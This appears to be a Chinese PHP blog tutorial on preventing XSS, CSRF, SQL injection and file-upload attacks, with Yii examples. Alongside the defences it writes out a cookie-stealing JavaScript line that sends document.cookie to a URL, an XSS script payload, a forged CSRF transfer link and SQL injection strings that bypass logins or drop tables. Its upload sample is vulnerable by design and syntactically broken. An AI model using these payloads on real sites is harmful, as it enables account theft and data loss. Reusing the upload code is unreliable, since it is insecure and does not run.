列出一些PHP防范 SQL 注入、XSS 攻击、CSRF 攻击的方法

释放双眼,带上耳机,听听看~!
  • PDO预处理函数prepare()
  • addslashes() 函数将’转为’,将”转为”
  • mysqli_real_escape_string() 函数
  • PDO::quote()
  • htmlspecialchars() 函数
  • 验证 HTTP REFER
  • 使用 toke 进行验证

目前互联网比较容易遭受到的攻击方式:XSS攻击、CSRF攻击、SQL注入、文件上传漏洞;

一、XSS攻击

(1) xss攻击:跨站脚本攻击(cross site scripting):XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,从而对用户进行攻击。盗取用户账号,非法转账,篡改系统信息,网站挂马;
(2)用户登录时发生了什么?
1)用户登录,请求发送给服务器,服务器会生成一个SESSION文件保存当前用户登录状态信息;
2)服务器会把这个SESSION文件名经过相关转换,变成一个字符串,服务器发生响应会带上这个字符串,浏览器拿到这个字符串会存储在cookie中;
3)我们用别人的这个cookie去访问服务器,服务器根据这个cookie查找到SESSION文件,这样我们就相当于用别人的账号登录了这个系统;

js获取cookie:
var cookie = document.cookie;
window.location.herf = 'http://127.0.0.1/index.php?cookie='+cookie;

浏览器通过httponly防止xss攻击:
在服务器的响应信息中,服务器通过标记某些cookiehttponly,在浏览器中就无法通过js脚本(document.cookie)读取这些cookie,xss就只能通过请求头信息查看登录cookie来完成盗号功能;

(3)反射型XSS攻击:链接参数里面有js脚本代码,当传递给后台服务器后,服务器又原封不动的把参数返回给浏览器,浏览器识别这段js脚本代码后运行了;
访问:127.0.0.1/basic/web/index.php?r=article/post&amp;amp;amp;name=<script>alert(“hello world”)</script>如果有弹出框出来,就完成了一次反射型xss(火狐浏览器会弹出来,360和chrome浏览器不会,因为这两个浏览器有XSS防护机制)
现代现浏览器(chrome)对于反射型XSS有一定防护
手动关闭xss防护:

\Yii::$app->response->headers->add('X-XSS-Protection', '0');

XSS防范措施:
1)YII框架第一种防范xss(转码防范):Html::encode($str);内部其实调用了PHP的htmlspecialchars函数,把预定义的字符串转换成HTML实体;
2)过滤防范lexer技术:

echo \yii\helpers\HtmlPurifier::process($script);//这个函数使用了lexer技术,可以识别HTML里的JS、HTML、CSS三种代码,并把js过滤掉;

二、CSRF攻击

跨站请求伪造(英语:Cross-site request forgery):跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
(1)get型的CSRF攻击:
1、该用户登录了某银行网站
2、构造了某银行转账URL:http://www.xxxbank.com/index.php?from=zhangsan&amp;amp;amp;to=lisi&amp;amp;amp;money=400
3、用户点击了这个链接,就会执行转账过程,完成一次CSRF攻击
(2)post型的CSRF攻击
伪造post请求
1、伪造form表单,要伪造相同表单控件,同样提交到原来的后台所处理页面
2、用户要先登录到原来form表单所在的系统
3、诱导用户来到我们的form表单,自动提交到目标服务器进行修改删除操作
yii中对csrf的验证:web表单提交数据会引发yii的csrf验证,form中添加隐藏表单name为_csrf,value为服务端生成的csrfToken的对应的变量名,服务端$csrfToken = \Yii::$app->request->csrfToken;
防范csrf:
1,验证码:比较有效,但降低用户体验;
2,referer头,需要考虑正常访问没有referer头的情况;值是这次请求的URL,是哪个页面的请求
3,token,响应请求时返回的防伪标志,服务器随机生成的token,浏览器接收到token,在请求时带上token,服务器对比,来检测有没有受到CSRF攻击;yii中对csrf的验证:web表单提交数据会引发yii的csrf验证,form中添加隐藏表单name为_csrf,value为服务端生成的csrfToken的对应的变量名,服务端$csrfToken = \Yii::$app->request->csrfToken;
三、SQL注入的攻击方式
(1)例子一:
select * from users where name='zhangsan' and password='123456'
name = zhansan' --
那么查询语句就变成
select * from users where name='zhangsan' --' and password='123456'

数据库中,–表示注释,则后面的会被忽略,如果这是管理员用户登录时的验证,则不需要密码就可以正常的登录到系统中

例子二:

select * from users where name='zhangsan' and password='123456'
name = '; drop table users; --
那么查询语句就变成
select * from users where name=' '; drop table users; --' and password='123456'

如果运行,会把users表删除

例子三:
在一个论坛查找积分在60以下且关键字是youyiku的帖子,会运行以下sql语句

select * from articles where score<60 and title like '%youyiku%';
如果查找关键字:' or 1=1 --
select * from articles where score<60 and title like '%' or 1=1 --%'

就突破了这个限制,会把所有帖子查找出来
mysql注释符有三种:
1、#…
2、”–  …” //需要一个空格,应该是”– “.
3、/*…*/
(2)yii通过PDO操作数据库的方式来防止sql注

public function actionTest1(){
$user = (new \yii\db\Query())
->select('*')
->from('users')
->where('name=:name',[':name'=>'zhangsan'])
->one();

print_r($user);
}

* 如果在数据库配置db.php中’emulatePrepare’=>false,则占位符转义是在数据库端
* 运行下面代码,sql语句会分成两部分:
* 向MySQL传递第一份数据:select * from users where name=?
* 向MySQL传递第二份数据:zhangsan,会在MySQL进行转义,就算传过来的是中文和单引号,也会把单引号转义之后再执行sql语句,就防止了sql注入

四、文件上传漏洞
如果后台对文件上传审查不严,导致php代码上传后被执行,可进行遍历文件等操作使源码泄露;
上传文件数据时,请求数据可以在出发前被(fiddler抓包工具)拦截并篡改,content-type可被修改,在文件名中加入:,可以通过后缀名验证,并使move_uploaded_file执行时丢弃:之后的部分,使上传文件变成可执行的php,若上传文件没被重命名或重命名后的名字被发现,则可使文件可被任意执行。
处理方式:严格检查文件,禁止出现”:”, 重命名文件,禁止目录列出文件,取消上传目录文件的执行权限。

<?php
	if($_POST){
		$ext = pathinfo($_FILES['photo']['name'],PATHINFO_EXTENSION);
		if(in_array($ext,['png','jpg','gif'])){
			echo '类型检测成功';
			//将上传的临时文件移动到要保存的上传文件位置,一般为了安全,不用用户上传文件的名称,容易在中途被非法修改,从而变成.php这些可执行文件,造成损害
			move_uploaded_file($_FILES['photo']['tmp_name'],'./$_FILES['photo']['name']');
	}
?>
<form method='post' enctype='multipart/form-data'>
	<input type='text' name='title' value='this is a title &#' />
	<input type='file' name='photo'/>
	<input type='submit' value='提交' />
</form>

给TA打赏
共{{data.count}}人
人已打赏
php笔记

PHP7 卓越性能背后有哪些优化?

2020-3-26 16:56:02

php笔记

网页/应用访问慢突然变慢,如何定位问题?

2020-3-26 18:00:36

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索